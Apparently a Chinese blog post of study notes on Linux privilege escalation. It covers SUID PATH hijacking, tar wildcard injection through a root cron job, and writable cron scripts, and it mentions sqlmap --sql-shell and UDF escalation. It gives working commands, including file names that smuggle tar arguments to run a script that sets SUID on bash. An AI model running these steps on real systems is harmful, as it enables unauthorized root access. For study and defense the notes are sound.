web104-linux提权

0x01环境变量提权-本地

环境变量提权的基本原理是:攻击者通过对程序运行的环境变量进行篡改,使得程序加载继承的攻击者的权限,从而实现提权。

复现的步骤:

搜索具有suid权限的文件,然后执行除了系统自带的文件(比如shell这个文件),查看返回猜测执行的是什么命令,之后到tmp目录下去新建这个以这个命令命名的文件(比如ls),内容是/bin/bash,然后在环境变量里添加一个路径/tmp/,之后再去执行shell文件的话,他就会按照环境变量的第一个/tmp去找新建的ls这个文件,然后执行你添加的内容/bin/bash,最后新打开的bash就是root权限;

find / -perm -u=s -type f 2>/dev/null  #搜索带有suid权限的文件--找到shell这个文件

./shell          看回显猜测是什么命令

cd /tmp        #到tmp目录
echo "/bin/bash" > ps       #新建名为ps的文件,内容是/bin/bash
chmod 777 ps        #赋予777权限,可读可写可执行
echo $PATH        #查看环境变量-此时没有tmp
export PATH=/tmp:$PATH     #添加一个/tmp
cd /home/raj/script   到shell文件存在的目录去
./shell     执行shell->/tmp/ps->/bin/bash
whoami

参考文章

https://www.freebuf.com/articles/system/173903.html

这里有个疑问,为什么sehll文件中执行的是ps,赋值成环境变量后执行shell会找到/tmp/ps,也就是文件内容是/bin/bash的,而正常执行ps就是找到/bin/ps;  解答 //添加环境变量后ps应该也是/bin/bash了

 0x02 定时任务-本地居多

命令简介

定时任务通常被设置用于备份文件、清理目录内容等。crontab命令可以创建一个cron文件,以指定的时间区间运行。可以使用cat /etc/crontab 进行查看

也可以使用vim etc/crontab 进行编辑

 --------------------

因为打包的操作是root设置的;所以存在权限继承的问题

步骤:普通用户登录后查看定时任务,发现存在一个定时任务之后是bf.sh,然后就查看内容发现使用的是一个tar的打包命令。这时候我们执行下面的命令,那么在打包的时候第一行和第二行就会变成下面图2的那种方式,进行参数的拼接了,第一行就是开启允许加参数,第二行就是执行test.sh,而test.sh的内容就是创建了一个bash文件,这时候使用bash -p建立新的窗口就是以继承root权限的方式提权到了root,也就是利用bash的suid提权的步骤(逻辑);

前提条件:像tar这种可以加参数的才能这样利用;

echo "" > --checkpoint=1   设置允许使用加参数的方式
echo "" > "--checkpoint-action=exec=sh test.sh"   ##执行test.sh文件
echo 'cp /bin/bash /tmp/bash;chmod +s /tmp/bash' > test.sh  ##将/bin/bash复制到/tmp下,并提权SUID权限,同时将命令写入到test.sh脚本中
chmod +x test.sh  ##赋予执行权限

图2

参考文章

https://blog.youkuaiyun.com/weixin_44268918/article/details/129974280
0x03 权限配置不当

运维人员定时执行一个程序需要给予一个执行权限,写法不当造成的问题,如果发现他的定时任务定时启动的文件可以修改的话直接在内容里加上反弹shelll的地址,定时任务被执行的时候即可反弹shell,不过要考虑出网的问题;

chmod +x 1.sh
chmod 777 1.sh
chmod 755 1.sh

数据库利用工具mudt一把提权

getshell之后翻找密码直接进行登录进行利用即可,注意mysql禁止外联和防火墙出网的问题

https://github.com/SafeGroceryStore/mdut

小迪这里使用代理转发出来,然后映射到本机的3338端口

在使用工具去连接即可3338

### 使用 `sqlmap` 和 `--sql-shell` 对 MySQL 数据库执行操作 #### 准备工作 为了成功利用 `sqlmap` 进行 MySQL ,需要满足一些前条件。目标数据库账户需具备足够的限来创建和删除函数以及插入和删除数据[^1]。 #### 启动 SQLMap 并检测注入点 启动 SQLMap 工具并指定要测试的目标 URL 或请求文件路径。对于本地环境中的测试案例,可以使用 sqli-labs 来寻找合适的页面作为攻击入口,并确认该位置存在可被利用的 SQL 注入漏洞[^3]。 ```bash python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" ``` 如果已经有一个包含 HTTP 请求的数据包,则可以直接加载此文件: ```bash python sqlmap.py -r /path/to/request_file.txt ``` 一旦找到有效的注入点之后,就可以继续下一步骤。 #### 获取交互式的SQL Shell 当确认了 DBA 用户身份后,可以通过下面的方式获取一个基于命令行界面 (CLI) 的 SQL shell: ```bash python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1" --sql-shell ``` 这将供给使用者一个直接与远程服务器上的 MySQL 实例通信的机会,在这里可以根据需求编写自定义查询语句或调用存储过程等。 #### 创建 UDF 文件上传接口 要在 Windows 上实现真正的操作系统级访问控制升,通常会采用 User Defined Function(UDF) 方法。这种方法依赖于能够向 MySQL 插入新的动态链接库(.dll),从而允许执行任意系统指令。然而请注意,这种技术的应用范围有限制,并且可能受到多种因素的影响,比如防火墙设置、安全软件防护机制等等。 在 Linux 系统上也可以采取类似的策略,即通过构建共享对象(shared object,.so)来进行相同的操作;不过具体实施细节有所不同。 #### 执行特升级的具体步骤 由于涉及到敏感的安全问题,具体的 UDF 编译及部署流程在此不做详细介绍。但是一般情况下,完成上述准备工作以后,应该按照如下方式推进: - 将编译好的 .dll/.so 文件传送到 Web 应用程序所在的目录下; - 利用已获得的 SQL shell 构建新函数并与刚才上传的二进制关联起来; - 调用新建的函数触发 OS 命令执行行为,进而达到最终目的——取得更高层次的限。 需要注意的是,实际环境中可能会遇到各种阻碍措施阻止这些行动的成功达成,因此建议仅限于合法授范围内开展此类实验活动。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值